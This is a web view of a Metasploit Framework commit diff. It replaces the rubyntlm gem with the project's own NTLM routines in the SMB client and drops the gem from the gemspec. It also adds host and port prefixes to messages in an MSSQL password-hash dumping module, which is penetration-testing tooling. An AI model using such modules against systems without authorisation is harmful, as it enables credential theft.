@@ -664,6 +713,7 @@ protected
664 713
 
665 714
   attr_accessor :hostname, :port # :nodoc:
666 715
 
716
+
667 717
 end
668 718
 
669 719
 end

+ 46
- 28
lib/rex/proto/smb/client.rb View File

@@ -4,8 +4,6 @@ module Proto
4 4
 module SMB
5 5
 class Client
6 6
 
7
-  require 'net/ntlm'
8
-
9 7
 require 'rex/text'
10 8
 require 'rex/struct2'
11 9
 require 'rex/proto/smb/constants'
@@ -168,14 +166,14 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
168 166
 
169 167
   # Scan the packet receive cache for a matching response
170 168
   def smb_recv_cache_find_match(expected_type)
171
-
169
+    
172 170
     clean = []
173 171
     found = nil
174 172
 
175 173
     @smb_recv_cache.each do |cent|
176 174
       pkt, data, tstamp = cent
177 175
 
178
-      # Return matching packets and mark for removal
176
+      # Return matching packets and mark for removal 
179 177
       if pkt['Payload']['SMB'].v['Command'] == expected_type
180 178
         found = [pkt,data]
181 179
         clean << cent
@@ -625,15 +623,16 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
625 623
 
626 624
 
627 625
   # Authenticate and establish a session
628
-  def session_setup(user='', pass='', domain='', do_recv=true)
626
+  def session_setup(*args)
627
+
629 628
     if (self.dialect =~ /^(NT LANMAN 1.0|NT LM 0.12)$/)
630 629
 
631 630
       if (self.challenge_key)
632
-        return self.session_setup_no_ntlmssp(user, pass, domain, do_recv)
631
+        return self.session_setup_no_ntlmssp(*args)
633 632
       end
634 633
 
635 634
       if ( self.extended_security )
636
-        return self.session_setup_with_ntlmssp(user, pass, domain, nil, do_recv)
635
+        return self.session_setup_with_ntlmssp(*args)
637 636
       end
638 637
 
639 638
     end
@@ -832,16 +831,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
832 831
       name = Rex::Text.rand_text_alphanumeric(16)
833 832
     end
834 833
 
835
-    @ntlm_client = Net::NTLM::Client.new(
836
-      user,
837
-      pass,
838
-      workstation: name,
839
-      domain: domain,
840
-      flags: ntlmssp_flags
841
-    )
842
-
843
-
844
-    blob = @ntlm_client.init_context.serialize
834
+    blob = NTLM_UTILS.make_ntlmssp_secblob_init(domain, name, ntlmssp_flags)
845 835
 
846 836
     native_data = ''
847 837
     native_data << self.native_os + "\x00"
@@ -902,9 +892,37 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
902 892
     # Save the temporary UserID for use in the next request
903 893
     temp_user_id = ack['Payload']['SMB'].v['UserID']
904 894
 
905
-    type3 = @ntlm_client.init_context([blob].pack('m'))
906
-    type3_blob = type3.serialize
907
-    self.signing_key = @ntlm_client.session_key
895
+    # Get default data
896
+    blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(blob)
897
+    self.challenge_key = blob_data[:challenge_key]
898
+    server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
899
+    #netbios name
900
+    self.default_name =  blob_data[:default_name] || ''
901
+    #netbios domain
902
+    self.default_domain = blob_data[:default_domain] || ''
903
+    #dns name
904
+    self.dns_host_name =  blob_data[:dns_host_name] || ''
905
+    #dns domain
906
+    self.dns_domain_name =  blob_data[:dns_domain_name] || ''
907
+    #Client time
908
+    chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
909
+
910
+
911
+    resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, self.challenge_key, domain,
912
+                        default_name, default_domain, dns_host_name,
913
+                        dns_domain_name, chall_MsvAvTimestamp ,
914
+                        self.spnopt, ntlm_options)
915
+    enc_session_key = ''
916
+    self.sequence_counter = 0
917
+
918
+    if self.require_signing
919
+      self.signing_key, enc_session_key, ntlmssp_flags = NTLM_UTILS.create_session_key(ntlmssp_flags, server_ntlmssp_flags, user, pass, domain,
920
+                      self.challenge_key, client_challenge, ntlm_cli_challenge,
921
+                      ntlm_options)
922
+    end
923
+
924
+    # Create the security blob data
925
+    blob = NTLM_UTILS.make_ntlmssp_secblob_auth(domain, name, user, resp_lm, resp_ntlm, enc_session_key, ntlmssp_flags)
908 926
 
909 927
     pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
910 928
     self.smb_defaults(pkt['Payload']['SMB'])
@@ -926,8 +944,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
926 944
     pkt['Payload'].v['VCNum'] = 1
927 945
     pkt['Payload'].v['Capabilities'] = 0x8000d05c
928 946
     pkt['Payload'].v['SessionKey'] = self.session_id
929
-    pkt['Payload'].v['SecurityBlobLen'] = type3_blob.length
930
-    pkt['Payload'].v['Payload'] = type3_blob + native_data
947
+    pkt['Payload'].v['SecurityBlobLen'] = blob.length
948
+    pkt['Payload'].v['Payload'] = blob + native_data
931 949
 
932 950
     # NOTE: if do_recv is set to false, we cant reach here...
933 951
     self.smb_send(pkt.to_s)
@@ -1753,7 +1771,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
1753 1771
       # Remove the NetBIOS header
1754 1772
       resp_rpkt.slice!(0, 4)
1755 1773
 
1756
-      _resp_parm = resp_rpkt[poff, pcnt]
1774
+      resp_parm = resp_rpkt[poff, pcnt]
1757 1775
       resp_data = resp_rpkt[doff, dcnt]
1758 1776
       return resp_data
1759 1777
 
@@ -1779,7 +1797,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
1779 1797
       # Remove the NetBIOS header
1780 1798
       resp_rpkt.slice!(0, 4)
1781 1799
 
1782
-      _resp_parm = resp_rpkt[poff, pcnt]
1800
+      resp_parm = resp_rpkt[poff, pcnt]
1783 1801
       resp_data = resp_rpkt[doff, dcnt]
1784 1802
       return resp_data
1785 1803
 
@@ -1940,7 +1958,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
1940 1958
       resp = find_next(last_search_id, last_offset, last_filename)
1941 1959
 
1942 1960
       # Flip bit so response params will parse correctly
1943
-      search_next = 1
1961
+      search_next = 1 
1944 1962
     end
1945 1963
 
1946 1964
     files
@@ -1955,7 +1973,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
1955 1973
       260,                # Level of interest
1956 1974
       resume_key,         # Resume key from previous (Last name offset)
1957 1975
       6,                  # Close search if end of search
1958
-    ].pack('vvvVv') +
1976
+    ].pack('vvvVv') + 
1959 1977
     last_filename.to_s +  # Last filename returned from find_first or find_next
1960 1978
     "\x00"                # Terminate the file name
1961 1979
 
@@ -1988,7 +2006,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
1988 2006
           search_path = "#{current_path}#{fname}\\"
1989 2007
           file_search(search_path, regex, depth).each {|fn| files << fn }
1990 2008
         rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
1991
-
2009
+          
1992 2010
           # Ignore common errors related to permissions and non-files
1993 2011
           if %W{
1994 2012
             STATUS_ACCESS_DENIED
@@ -2012,9 +2030,9 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
2012 2030
 
2013 2031
   # Creates a new directory on the mounted tree
2014 2032
   def create_directory(name)
2033
+    files = { }
2015 2034
     parm = [0].pack('V') + name + "\x00"
2016 2035
     resp = trans2(CONST::TRANS2_CREATE_DIRECTORY, parm, '')
2017
-    resp
2018 2036
   end
2019 2037
 
2020 2038
 # public read/write methods

+ 0
- 2
metasploit-framework.gemspec View File

@@ -75,8 +75,6 @@ Gem::Specification.new do |spec|
75 75
   spec.add_runtime_dependency 'msgpack'
76 76
   # get list of network interfaces, like eth* from OS.
77 77
   spec.add_runtime_dependency 'network_interface'
78
-  # NTLM authentication
79
-  spec.add_runtime_dependency 'rubyntlm'
80 78
   # Needed by anemone crawler
81 79
   spec.add_runtime_dependency 'nokogiri'
82 80
   # Needed by db.rb and Msf::Exploit::Capture

+ 3
- 3
modules/auxiliary/scanner/mssql/mssql_hashdump.rb View File

@@ -31,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary
31 31
   def run_host(ip)
32 32
 
33 33
     if !mssql_login_datastore
34
-      print_error("Invalid SQL Server credentials")
34
+      print_error("#{rhost}:#{rport} - Invalid SQL Server credentials")
35 35
       return
36 36
     end
37 37
 
@@ -150,7 +150,7 @@ class MetasploitModule < Msf::Auxiliary
150 150
       login = create_credential_login(login_data)
151 151
 
152 152
       tbl << [row[0], row[1]]
153
-      print_good("Saving #{hashtype} = #{row[0]}:#{row[1]}")
153
+      print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}")
154 154
     end
155 155
   end
156 156
 
@@ -160,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary
160 160
     is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
161 161
 
162 162
     if is_sysadmin == 0
163
-      print_error("The provided credentials do not have privileges to read the password hashes")
163
+      print_error("#{rhost}:#{rport} - The provided credentials do not have privileges to read the password hashes")
164 164
       return nil
165 165
     end
166 166
 

Loading…
Cancel
Save